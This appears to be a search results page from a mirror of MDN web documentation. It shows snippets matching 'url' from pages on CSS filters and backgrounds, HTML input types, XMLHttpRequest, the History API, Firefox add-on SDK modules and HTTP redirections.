url to svg filter */ filter:
url("filters.svg#filter-id"); /* <filter-function> values */ filter: blur(5px); filter: brightness(0.4); filter: contrast(200%); filter: drop-shadow(16px 16px 20px blue); filter: grayscale(50%); filter: hue-rotate(90deg); filter: invert(75%); filter: opacity(25%); filter: saturate(30%); filter: sepia(60%); /* multiple filters */ filter: contrast(175%) brightness(3%); /* use no filter */ filter: none; /* global values */ filter: inherit; filter: initial; filter: unset; with a function, use the following: filter: <filter-fu...
...nction> [<filter-function>]* | none for a reference to an svg <filter> element, use the following: filter:
url(file.svg#filter-element-id) interpolation if both the beginning and end filters have a function list of the same length without <
url>, each of their filter functions is interpolated according to its specific rules.
...And 15 more matches
tabbrowser - Archive of obsolete content
contentwindow type: todo use the contentwindow.wrappedjsobject to obtain a dom(html) window object currenturi type: nsiuri this read-only property contains the currently loaded
url.
... to change the
url, use the loaduri method.
... homepage type: string home page
url this property holds the value of the user's home page setting.
...And 14 more matches
Fetching data from the server - Learn web development
function updatedisplay(verse) { } we'll start our function by constructing a relative
url pointing to the text file we want to load, as we'll need it later.
...add the following lines inside your updatedisplay() function: verse = verse.replace(" ", ""); verse = verse.tolowercase(); let
url = verse + '.txt'; to begin creating an xhr request, you need to create a new request object using the xmlhttprequest() constructor.
...add the following below your previous lines inside your updatedisplay() function: let request = new xmlhttprequest(); next, you need to use the open() method to specify what http request method to use to request the resource from the network, and what its
url is.
...And 14 more matches
Working with the History API - Web APIs
the referrer will be the
url of the document whose window is this at the time of creation of the xmlhttprequest object.
... example of pushstate() method suppose http://mozilla.org/foo.html executes the following javascript: let stateobj = { foo: "bar", } history.pushstate(stateobj, "page 2", "bar.html") this will cause the
url bar to display http://mozilla.org/bar.html, but won't cause the browser to load bar.html or even check that bar.html exists.
...at this point, the
url bar will display http://mozilla.org/bar.html and history.state will contain the stateobj.
...And 14 more matches
Using XMLHttpRequest - Web APIs
to send an http request, create an xmlhttprequest object, open a
url, and send the request.
... var oreq = new xmlhttprequest(); oreq.open("get",
url); // retrieve data unprocessed as a binary string oreq.overridemimetype("text/plain; charset=x-user-defined"); /* ...
...*/ } oreq.open("get",
url); oreq.responsetype = "arraybuffer"; oreq.send(); for more examples check out the sending and receiving binary data page monitoring progress xmlhttprequest provides the ability to listen to various events that can occur while the request is being processed.
...And 14 more matches
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
source: no dimensions or intrinsic ratio given this css: background:
url(no-dimensions-or-ratio.svg); background-size: 125px 175px; the rendered output would look like this: source: one specified dimension, no intrinsic ratio given this css: background:
url(100px-wide-no-height-or-ratio.svg); background-size: 250px 150px; the rendered output would look like this: source: one specified dimension with intrinsic ratio given this css: background:
url(100px-h...
...eight-3x4-ratio.svg); background-size: 275px 125px; the rendered output would look like this: source: no specified width or height with intrinsic ratio given this css: background:
url(no-dimensions-1x1-ratio.svg); background-size: 250px 100px; the rendered output would look like this: using contain or cover specifying cover for background-size makes the picture as small as possible while still covering the entire background area.
... background:
url(no-dimensions-or-ratio.svg); background-size: contain; the rendered output looks like this: source: one specified dimension, no intrinsic ratio similarly, if the image has one dimension specified but no intrinsic ratio, rule 4 applies, and the image is scaled to cover the entire background area.
...And 14 more matches
<blend-mode> - CSS: Cascading Style Sheets
<div id="div"></div> #div { width: 300px; height: 300px; background:
url('https://mdn.mozillademos.org/files/8543/br.png'),
url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: normal; } multiply the final color is the result of multiplying the top and bottom colors.
... <div id="div"></div> #div { width: 300px; height: 300px; background:
url('https://mdn.mozillademos.org/files/8543/br.png'),
url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: multiply; } screen the final color is the result of inverting the colors, multiplying them, and inverting that value.
... <div id="div"></div> #div { width: 300px; height: 300px; background:
url('https://mdn.mozillademos.org/files/8543/br.png'),
url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: screen; } overlay the final color is the result of multiply if the bottom color is darker, or screen if the bottom color is lighter.
...And 14 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
<input type="time" name="time"/> html5
url a field for entering a
url.
... <input type="
url" name="
url"/> html5 week a control for entering a date consisting of a week-year number and a week number with no time zone.
... in file upload controls checked radio, checkbox whether the command or control is checked dirname text, search name of form field to use for sending the element's directionality in form submission disabled all whether the form control is disabled form all associates the control with a form element formaction image, submit
url to use for form submission formenctype image, submit form data set encoding type to use for form submission formmethod image, submit http method to use for form submission formnovalidate image, submit bypass form control validation for form submission formtarget image, submit browsing context for form submission height image ...
...And 14 more matches
OpenSearch description format
<opensearchdescription xmlns="http://a9.com/-/spec/opensearch/1.1/" xmlns:moz="http://www.mozilla.org/2006/browser/search/"> <shortname>[snk]</shortname> <description>[search engine full name and summary]</description> <inputencoding>[utf-8]</inputencoding> <image width="16" height="16" type="image/x-icon">[https://example.com/favicon.ico]</image> <
url type="text/html" template="[search
url]"> <param name="[key name]" value="{searchterms}"/> <!-- other params if you need them… --> <param name="[other key name]" value="[parameter value]"/> </
url> <
url type="application/x-suggestions+json" template="[suggestion
url]"/> <moz:searchform>[https://example.com/search]</moz:searchform> </opensearchdescription> shortname a short na...
...http: and https:
urls are converted to data: uris when this is done.
...
url describes the
url or
urls to use for the search.
...And 14 more matches
href - SVG: Scalable Vector Graphics
the href attribute defines a link to a resource as a reference
url.
...image>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> in svg a for <a>, href defines the location of the referenced object, expressed as a
url reference.
... value <
url> default value none animatable yes animate, animatemotion, animatetransform, set for the <animate>, <animatemotion>, <animatetransform>, and <set>, href defines a
url referring to the element which is the target of this animation element and which therefore will be modified over time.
...And 14 more matches
Search Extension Tutorial (Draft) - Archive of obsolete content
in particular, changing the location bar search keyword
url in a way which is not automatically reset when the add-on is removed will result in a reset prompt for users.
...the following file, for instance, would change the default keyword search engine, assuming that an engine with the name example engine is installed, as described below: // this is a localizable preference, so it must contain a
url which // points at a properties file containing the preference name as a // property.
... we use a data:
url for simplicity.
...And 13 more matches
WebRequest.jsm
filter is an object that may contain up to two properties:
urls and types.
... name type description
urls matchpattern only invoke the listener for
urls that match one of the patterns.
...if you supply an array of strings, then a
url matches if it matches any of the strings.
...And 13 more matches
Location - Web APIs
the location interface represents the location (
url) of the object it is linked to.
... location.href is a stringifier that returns a usvstring containing the entire
url.
... location.protocol is a usvstring containing the protocol scheme of the
url, including the final ':'.
...And 13 more matches
page-worker - Archive of obsolete content
you specify the page to load using the content
url option to the page() constructor.
... this can point to a remote file: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", content
url: "http://en.wikipedia.org/wiki/internet" }); it can also point to an html file which you've packaged with your add-on.
... to do this, save the file in your add-on's data directory and create the
url using the data.
url() method of the self module: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", content
url: require("sdk/self").data.
url("myfile.html") }); from firefox 34, you can use "./myfile.html" as an alias for self.data.
url("myfile.html").
...And 12 more matches
ui/sidebar - Archive of obsolete content
to show what a sidebar looks like, here's a sidebar that displays the results of running the w3c validator on the current page: specifying sidebar content the content of a sidebar is specified using html, which is loaded from the
url supplied in the
url option to the sidebar's constructor.
... unlike modules such as panel, the content must be local, typically loaded from the add-on's data directory via a
url constructed using self.data.
url(): var sidebar = require("sdk/ui/sidebar").sidebar({ id: 'my-sidebar', title: 'my sidebar',
url: require("sdk/self").data.
url("sidebar.html") }); from firefox 34, you can use "./sidebar.html" as an alias for self.data.
url("sidebar.html").
... so you can rewrite the above code like this: var sidebar = require("sdk/ui/sidebar").sidebar({ id: 'my-sidebar', title: 'my sidebar',
url: "./sidebar.html" }); you can include javascript and css from the html as you would with any web page, for example using <script> and <link> tags containing a path relative to the html file itself.
...And 12 more matches
Downloading Files - Archive of obsolete content
downloading files to download a file, create an instance of nsiwebbrowserpersist and call its nsiwebbrowserpersist.saveuri() method, passing it a
url to download and an nsifile instance representing the local file name/path.
...les/privatebrowsingutils.jsm"); const webbrowserpersist = components.constructor("@mozilla.org/embedding/browser/nswebbrowserpersist;1", "nsiwebbrowserpersist"); var persist = webbrowserpersist(); var targetfile = services.dirsvc.get("desk", ci.nsifile); targetfile.append("file.bin"); // obtain the privacy context of the browser window that the
url // we are downloading comes from.
... if, and only if, the
url is not // related to a window, null should be used instead.
...And 12 more matches
Places utilities for JavaScript
utils.js is accessible at the following
url: http://mxr.mozilla.org/mozilla-centr...ntent/utils.js this file includes utility functions used by a lot of the bookmarking, tagging, and annotation services that are built into firefox.
...ddfolderui(string atitle, int adefaultinsertionpoint, boolean ashowpicker); array object getannotationsforuri(nsiuri auri); array object getannotationsforitem(int aitemid); void setannotationsforuri(nsiuri auri, object aannos); void setannotationsforuri(int aitemid, object aannos); getviewfornode(nsidomnode anode); void markpageastyped(string a
url); void markpageasfollowedbookmark(string a
url); boolean check
urlsecurity(nsinavhistoryresultnode aurinode); string getquerystringforfolder(int afolderid); string getdescriptionfromdocument(nsidomdocument doc); string setpostdataforbookmark(int aboomarkid, string apostdata); string getpostdataforbookmark(int aboomarkid); array string g...
...et
urlandpostdataforkeyword(string akeyword); string getitemdescription(int aitemid); nsinavhistoryresultnode getmostrecentbookmarkforuri(nsiuri auri); nsinavhistoryresultnode getmostrecentfolderforfeeduri(nsiuri auri); nsinavhistoryresultnode get
urlsforcontainernode(nsinavhistoryresultnode anode); void opencontainernodeintabs(nsinavhistoryresultnode anode, nsidomevent aevent); void openurinodesintabs(array nsinavhistoryresultnode anodes, nsidomevent aevent); void createmenuitemfornode(nsinavhistoryresultnode anode, acontainersmap); constants mimetypes type_x_moz_place_container type_x_moz_place_separator: "text/x-moz-place-separator", type_x_moz_place: "text/x-moz-place", type_x_moz_
url: "text/x-moz-
url", type_html:...
...And 12 more matches
nsIMsgCloudFileProvider
inherits from: nsisupports method overview void init(in string aaccountkey); void uploadfile(in nsilocalfile afile, in nsirequestobserver acallback); acstring
urlforfile(in nsilocalfile afile); void cancelfileupload(in nsilocalfile afile); void refreshuserinfo(in boolean awithui, in nsirequestobserver acallback); void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); void createnewaccount(in acstring aemailaddress, in acstring apassword, in acstring afirstname, in acstring alastname, in nsirequestobserver acallback); void createexistingaccount(in nsir...
...equestobserver acallback); acstring provider
urlforerror(in unsigned long aerror); attributes attribute type description type acstring readonly: the type is a unique string identifier which can be used by interface elements for styling.
... service
url acstring readonly: a link to the homepage of the service, if applicable.
...And 12 more matches
Window.open() - Web APIs
syntax var window = window.open(
url, windowname, [windowfeatures]); parameters
url a domstring indicating the
url of the resource to be loaded.
... this can be a path or
url to an html page, image file, or any other resource that is supported by the browser.
... if the empty string ("") is specified as
url, a blank page is opened into the targeted browsing context.
...And 12 more matches
Border-image generator - CSS: Cascading Style Sheets
data-stateid="border5"/> <img class="image" src="https://udn.realityripple.com/samples/fb/c0b285d3da.svg" data-stateid="border6"/> </div> </div> <div id="load-actions" class="group section"> <div id="toggle-gallery" data-action="hide"> </div> <div id="load-image" class="button"> upload image </div> <input id="remote-
url" type="text" placeholder="load an image from
url"/> <div id="load-remote" class="button"> </div> </div> <div id="general-controls" class="group section"> <div class="name"> control box </div> <div class="separator"></div> <div class="property"> <div class="name">scale</div> <div class="ui-input-slider...
...slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; background:
url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right { background:
url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; background-color: #2c9fc9; border-radius: ...
...ckground-color: #379b4a; cursor: pointer; } /*************************************************************************************/ /*************************************************************************************/ /* * ui dropdown */ /* dropdown */ .ui-dropdown { height: 2em; width: 120px; font-family: "segoe ui", arial, helvetica, sans-serif; font-size: 12px; background-image:
url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png"); background-position: right center; background-repeat: no-repeat; background-color: #359740; position: relative; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-dropdown:hover { cursor...
...And 12 more matches
Color picker tool - CSS: Cascading Style Sheets
t: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-area { background:
url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center; background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -ms-linear-...
...dius: 50%; border: 1px solid #fff; position: absolute; top: 45%; left: 45%; } .ui-color-picker .picker:before { width: 8px; height: 8px; content: ""; position: absolute; border: 1px solid #999; border-radius: 50%; } .ui-color-picker .hue, .ui-color-picker .alpha { width: 198px; height: 28px; margin: 5px; border: 1px solid #fff; float: left; } .ui-color-picker .hue { background:
url("https://mdn.mozillademos.org/files/5701/hue.png") center; background: -moz-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -webkit-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -ms-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%,...
... #00f 66.66%, #f0f 83.33%, #f00 100%); background: -o-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); } .ui-color-picker .alpha { border: 1px solid #ccc; background:
url("https://mdn.mozillademos.org/files/5705/alpha.png"); } .ui-color-picker .alpha-mask { width: 100%; height: 100%; background:
url("https://mdn.mozillademos.org/files/6089/alpha_mask.png"); } .ui-color-picker .slider-picker { width: 2px; height: 100%; border: 1px solid #777; background-color: #fff; position: relative; top: -1px; } /* input hsv and rgb */ .ui-color-picker .info { width: 200px; margin: 5px; float: left; } .ui-color-picker .info * { float: left; } .ui-color-picker .input { width: 64px; margin: 5px 2px; float: left; } .ui-c...
...And 12 more matches
Redirections in HTTP - HTTP
url redirection, also known as
url forwarding, is a technique to give more than one
url address to a page, a form, or a whole web site/application.
... redirects accomplish numerous goals: temporary redirects during site maintenance or downtime permanent redirects to preserve existing links/bookmarks after changing the site's
urls, progress pages when uploading a file, etc.
...redirect responses have status codes that start with 3, and a location header holding the
url to redirect to.
...And 12 more matches
Content Scripts - Archive of obsolete content
aces the content of the page: // main.js var tabs = require("sdk/tabs"); var contentscriptstring = 'document.body.innerhtml = "<h1>this page has been eaten</h1>";' tabs.activetab.attach({ contentscript: contentscriptstring }); the following high-level sdk modules can use content scripts to modify web pages: page-mod: enables you to attach content scripts to web pages that match a specific
url pattern.
...the contentscript option treats the string itself as a script: // main.js var pagemod = require("sdk/page-mod"); var contentscriptvalue = 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";'; pagemod.pagemod({ include: "*.mozilla.org", contentscript: contentscriptvalue }); the contentscriptfile option treats the string as a resource://
url pointing to a script file stored in your add-on's data directory.
... this add-on supplies a
url pointing to the file "content-script.js", located in the data subdirectory under the add-on's root directory: // main.js var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: data.
url("content-script.js") }); // content-script.js document.body.innerhtml = "<h1>page matches ruleset</h1>"; from firefox 34 onwards, you can use "./content-script.js" as an alias for self.data.
url("content-script.js").
...And 11 more matches
dev/panel - Archive of obsolete content
you can use the class utility function: const { panel } = require("dev/panel"); const { class } = require("sdk/core/heritage"); const mypanel = class({ extends: panel, label: "my panel", tooltip: "my new devtool", icon: "./my-devtool.png",
url: "./my-devtool.html", setup: function(options) { // my setup goes here }, dispose: function() { // my teardown goes here }, onready: function() { // i can send messages to // the panel document here } }); alternatively, you can use the extend function: const { extend } = require("sdk/core/heritage"); function mypanel() {}; mypanel.prototype = extend(panel.prototyp...
... mandatory icon string the icon to display in the toolbox toolbar, specified as a resource://
url pointing to an icon file, typically in your add-on's "data" directory.
... you can use the notation "./my-icon.png" as an alias for the
url pointing to "data/my-icon.png".
...And 11 more matches
util/match-pattern - Archive of obsolete content
test strings containing
urls against simple patterns.
... usage specifying patterns there are three ways you can specify patterns: as an exact match string using a wildcard in a string using a regular expression exact matches a
url matches only that
url.
... the
url must start with a scheme, end with a slash, and contain no wildcards.
...And 11 more matches
Necko Architecture
architecture after a few iterations of our original design, the current necko architecture looks something like this:
urls necko's primary responsibility is moving data from one location, to another location.
...a
url implements the uri interface.
...
urls provide getting/setting of paths, hosts, ports, filenames, etc.
...And 11 more matches
nsIPluginHost
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsifile createtempfiletopost(in string apostdata
url); native code only!
... void createtmpfiletopost(in string apostdata
url, out string atmpfilename); native code only!
... void findproxyfor
url(in string a
url, out string aresult); native code only!
...And 11 more matches
Using files from web applications - Web APIs
const reader = new filereader(); reader.onload = (function(aimg) { return function(e) { aimg.src = e.target.result; }; })(img); reader.readasdata
url(file); } } here our loop handling the user-selected files looks at each file's type attribute to see if its mime type begins with the string "image/").
...after creating the new filereader object, we set up its onload function and then call readasdata
url() to start the read operation in the background.
... when the entire contents of the image file are loaded, they are converted into a data:
url which is passed to the onload callback.
...And 11 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
if the application has a targetapplication entry but it is for an incompatible version then the application will retrieve updated compatibility information from the add-on's update
url.
... valid application versions automatic add-on update checking applications will periodically check for updates to installed add-ons by retrieving the update
url.
... update rdf format if you host your add-on's update
url yourself then you will need to return the add-on version information in an rdf format.
...And 10 more matches
RDF in Mozilla FAQ - Archive of obsolete content
both datasources refer to "website" by
url: this is the "key" that allows the datasources to be "merged" effectively.
...the table is keyed by the datasource's "uri", which is either the
url of an rdf/xml file, or a "special" uri starting with rdf: that refers to a built-in datasource.
...if the uri argument refers to an rdf/xml file's
url, then the rdf service will create an rdf/xml datasource and asynchronously parse it.
...And 10 more matches
Introduction to automated testing - Learn web development
note that this only works if csslint doesn't find any errors — try removing a c
urly brace from your css file and re-running gulp to see what output you get!
...when you use this service, you provide a
url of the page you want to test along with information, such as what browsers you want it tested in.
... in the next screen, type in the
url of a page you want to test (use http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box-fixed.html, for example), then choose a browser/os combination you want to test by using the different buttons and lists.
...And 10 more matches
sslfnc.html
ssl configuration callback configuration ssl configuration ssl_importfd ssl_optionset ssl_optionget ssl_cipherprefset ssl_cipherprefget ssl_configsecureserver ssl_set
url ssl_setpkcs11pinarg ssl_importfd imports an existing nspr file descriptor into ssl and returns a new ssl socket.
... ssl_set
url sets the domain name of the intended server in the client's ssl socket.
... syntax #include "ssl.h" int ssl_set
url( prfiledesc *fd, char *
url); parameters this function has the following parameters: fd a pointer to a file descriptor.
...And 10 more matches
Using the Places keywords API
using the places keywords api the places keywords api allows to assign a keyword to an
url.
... keywords represent an alias for the given
url in the autocomplete (aka awesomebar) field, with smart replacement of query terms.
... a keyword can only be associated to a given
url, it's not possible to associate the same keyword with multiple
urls (doing so will just update the
url it's pointing to).
...And 10 more matches
Index
when the component starts up, it populates a list of
urls read in from a file stored next to the gecko binary on the local system.
...their anchors would also reference the image object and their anchortargets would reference
urls or the objects that would be activated.
...and you can ask it to load the
url using the default handler.
...And 10 more matches
WorkerLocation - Web APIs
properties the workerlocation interface doesn't inherit any property, but implements properties defined in the
urlutilsreadonly interface.
...
urlutilsreadonly.href read only is a stringifier that returns a domstring containing the whole
url of the script executed in the worker.
...
urlutilsreadonly.protocol read only is a domstring containing the protocol scheme of the
url of the script executed in the worker, including the final ':'.
...And 10 more matches
Caching compiled WebAssembly modules - WebAssembly
in our wasm-utils.js library script, you'll find instantiatecached
url() — this function fetches the wasm module at
url with a version of dbversion, instantiates it with the given importobject, and returns a promise resolving to the finished wasm instance.
... note: the entire site's wasm cache (not just the given
url) is versioned by the specified dbversion passed into the function.
... if the wasm module code is updated, or its
url changes, you will need to update dbversion.
...And 10 more matches
cfx - Archive of obsolete content
for example, to pass the -jsconsole argument to firefox, which will launch the javascript error console, try the following: cfx run --binary-args -jsconsole to pass multiple arguments, or arguments containing spaces, quote them: cfx run --binary-args '-
url "www.mozilla.org" -jsconsole' --extra-packages=extra_packages extra packages to include, specified as a comma-separated list of package names.
... for example, to pass the -jsconsole argument to firefox, which will launch the javascript error console, try the following: cfx run --binary-args -jsconsole to pass multiple arguments, or arguments containing spaces, quote them: cfx run --binary-args '-
url "www.mozilla.org" -jsconsole' --dependencies load and run any tests that are included with modules that your package depends on.
... update
url and updatelink if you choose to host the xpi yourself you should enable the host application to find new versions of your add-on.
...And 9 more matches
RDF Datasources - Archive of obsolete content
the history list the history datasource provides access to the user's history list which is the list of
urls the user has visited recently.
...put the
url values below where you want the value of the resource to be used.
... date http://home.netscape.com/nc-rdf#date date of last visit name http://home.netscape.com/nc-rdf#name title of the page page http://home.netscape.com/nc-rdf#page page name referrer http://home.netscape.com/nc-rdf#referrer referrer of the page
url http://home.netscape.com/nc-rdf#
url url of the page visit count http://home.netscape.com/nc-rdf#visitcount number of page visits a typical history list will display a tree with a selection of these fields.
...And 9 more matches
browser - Archive of obsolete content
get firefox most of the properties and methods of the browser will rarely be used and can only be called from chrome
urls.
... other
urls will need to use the document and history objects to change the displayed document.
... droppedlinkhandler(event, uri, name) -- firefox 51 or older droppedlinkhandler(event, links) -- firefox 52 or newer event -- drop event, or null if no event is available uri -- uri string of the dropped link name -- name string of the dropped link links -- array of the dropped items with nsidroppedlinkitem interface homepage type:
url this attribute allows you to set a homepage for the browser element.
...And 9 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
27 base64 advanced, base64, javascript, typed arrays, uri,
url, unicode problem, atob(), btoa() base64 is a group of similar binary-to-text encoding schemes that represent binary data in an ascii string format by translating it into a radix-64 representation.
...its "domain name" is a way to address this authority as part of the hierarchy in a
url - usually the most memorable part of it, for instance a brand name.
...domain names are used in
urls to identify to which server belong a specific webpage.
...And 9 more matches
Using the Places history service
nsibrowserhistory: adds functions used by the basic browser like marking pages as typed in the
url bar, and removing pages as from the history interface.
... nsiautocompletesearch:
url-bar autocomplete from history from 1.9.1 (firefox3.1) on, don't use any places service on (or after) quit-application has been notified, since the database connection will be closed to allow the last sync, and changes will most likely be lost.
...this entry contained the
url, title, visit count, last visit date, first visit date, host name, last referrer, flags for typed, hidden, and gecko flags (gecko flags is trunk only).
...And 9 more matches
nsIIOService
netwerk/base/public/nsiioservice.idlscriptable this interface provides a set of
url parsing utility functions.
... implemented by @mozilla.org/network/io-service;1 as a service: var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); method overview boolean allowport(in long aport, in string ascheme); acstring extractscheme(in autf8string
urlstring); unsigned long getprotocolflags(in string ascheme); nsiprotocolhandler getprotocolhandler(in string ascheme); nsichannel newchannel(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); obsolete since gecko 48 nsichannel newchannel2(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri, in nsidomnode aloadingnode, in nsiprinci...
... extractscheme() utility to extract the scheme from a
url string, consistently and according to spec (see rfc 3986).
...And 9 more matches
nsIMsgFolder
nsimsgwindow msgwindow); void propagatedelete(in nsimsgfolder folder, in boolean deletestorage,in nsimsgwindow msgwindow); void recursivedelete(in boolean deletestorage, in nsimsgwindow msgwindow); void createsubfolder(in astring foldername, in nsimsgwindow msgwindow); nsimsgfolder addsubfolder(in astring foldername); void createstorageifmissing(in nsi
urllistener
urllistener); void compact(in nsi
urllistener alistener, in nsimsgwindow amsgwindow); void compactall(in nsi
urllistener alistener, innsimsgwindow amsgwindow,in nsisupportsarray afolderarray, in boolean acompactofflinealso,in nsisupportsarray aofflinefolderarray); void compactallofflinestores(in nsimsgwindow amsgwindow,in nsisupportsarray aofflinefolderarray); ...
... void emptytrash(in nsimsgwindow amsgwindow, in nsi
urllistener alistener); void rename(in astring name, in nsimsgwindow msgwindow); void renamesubfolders( in nsimsgwindow msgwindow, in nsimsgfolder oldfolder); astring generateuniquesubfoldername(in astring prefix,in nsimsgfolder otherfolder); void updatesummarytotals(in boolean force); void summarychanged(); long getnumunread(in boolean deep); long gettotalmessages(in boolean deep); void clearnewmessages(); void clearrequirescleanup(); void setflag(in unsigned long flag); void clearflag(in unsigned long flag); boolean getflag(in unsigned long flag); void toggleflag(in unsigned long flag); void onflagchange(in unsi...
...ssage(in nsifile file, in nsimsgdbhdr msgtoreplace,in boolean isdraft, in unsigned long newmsgflags,in nsimsgwindow msgwindow,in nsimsgcopyservicelistener listener); void acquiresemaphore(in nsisupports semholder); void releasesemaphore(in nsisupports semholder); boolean testsemaphore(in nsisupports semholder); void getnewmessages(in nsimsgwindow awindow, in nsi
urllistener alistener); void writetofoldercache(in nsimsgfoldercache foldercache, in boolean deep); long getnumnewmessages(in boolean deep); void setnumnewmessages(in long numnewmessages); acstring generatemessageuri(in nsmsgkey msgkey); void addmessagedispositionstate(in nsimsgdbhdr amessage,in nsmsgdispositionstate adispositionflag); void markme...
...And 9 more matches
FetchEvent.respondWith() - Web APIs
specifying the final
url of a resource from firefox 59 onwards, when a service worker provides a response to fetchevent.respondwith(), the response.
url value will be propagated to the intercepted network request as the final resolved
url.
... if the response.
url value is the empty string, then the fetchevent.request.
url is used as the final
url.
... in the past the fetchevent.request.
url was used as the final
url in all cases.
...And 9 more matches
itemprop - HTML: Hypertext Markup Language
property values are either a string or a
url and can be associated with a very wide range of elements including <audio>, <embed>, <iframe>, <img>, <link>, <object>, <source> , <track>, and <video>.
...html" itemprop="trailer">trailer</a> </div> structured data item itemprop name itemprop value itemprop name avatar itemprop director james cameron itemprop genre science fiction itemprop trailer ../movies/avatar-theatrical-trailer.html properties properties have values that are either a string or a
url.
... when a string value is a
url, it is expressed using the <a> element and its href attribute, the <img> element and its src attribute, or other elements that link to or embed external resources.
...And 9 more matches
Microformats - HTML: Hypertext Markup Language
for example if they wanted to identify themselves they could use an h-card such as: html example <a class="h-card" href="http://alice.example.com">alice blogger</a> when a parser encounters this data, it will know that this page contains a "card" which describes a person or organization named alice blogger with a
url of http://alice.example.com/.
... as in this example, some markup patterns require only a single microformat root class name, which parsers use to find a few generic properties such as name,
url, photo.
... "u-*" for
url properties, e.g.
...And 9 more matches
<a> - SVG: Scalable Vector Graphics
the <a> svg element creates a hyperlink to other web pages, files, locations in the same page, email addresses, or any other
url.
... @namespace svg
url(http://www.w3.org/2000/svg); html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- a link around a shape --> <a href="/docs/web/svg/element/circle"> <circle cx="50" cy="40" r="35"/> </a> <!-- a link around a text --> <a href="/docs/web/svg/element/text"> <text x="50" y="90" text-anchor="middle"> <circle> </text> </a> </svg> /* as svg does not provide a default visual style for links, it's considered best practice to add some */ @namespace svg
url(http://www.w3.org/2000/svg); /* necessary to select only svg <a> elements,...
... attributes download instructs browsers to download a
url instead of navigating to it, so the user will be prompted to save it as a local file.
...And 9 more matches
request - Archive of obsolete content
parameters options : object optional options: name type
url string,
url this is the
url to which the request will be made.
... can either be a string or an instance of the sdk's
url.
...if content is a string, it should be
url-encoded (use encodeuricomponent).
...And 8 more matches
Supporting search suggestions in search plugins - Archive of obsolete content
firefox supports search suggestions in opensearch plugins; as the user types in the search bar, firefox queries the
url specified by the search plugin to fetch live search suggestions.
... implementing suggestion support in the search plugin to support search suggestions, a search plugin needs to define an extra <
url> element with its type attribute set to "application/x-suggestions+json".
... (this means that a suggestion-supporting engine plugin will have two <
url> elements, the other one being the main text/html search
url.) for example, the yahoo search plugin has this <
url> entry: <
url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchterms}"/> if the user types "fir" into the search bar, then pauses, firefox inserts "fir" in place of {searchterms} and queries that
url: <
url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&command=fir"/> the results are used to construct the suggestion list box.
...And 8 more matches
Server-side web frameworks - Learn web development
they provide tools and libraries that simplify common web development tasks, including routing
urls to appropriate handlers, interacting with databases, supporting sessions and user authorization, formatting output (e.g.
... # return httpresponse return httpresponse('output string to return') route requests to the appropriate handler most sites will provide a number of different resources, accessible through distinct
urls.
... handling these all in one function would be hard to maintain, so web frameworks provide simple mechanisms to map
url patterns to specific handler functions.
...And 8 more matches
Command line crash course - Learn web development
o, along with names of relevant tools in each case: navigate your computer’s file system along with base level tasks such as create, copy, rename and delete: move around your directory structure: cd create directories: mkdir create files (and modify their metadata): touch copy files: cp move files: mv delete files or directories: rm download files found at specific
urls: c
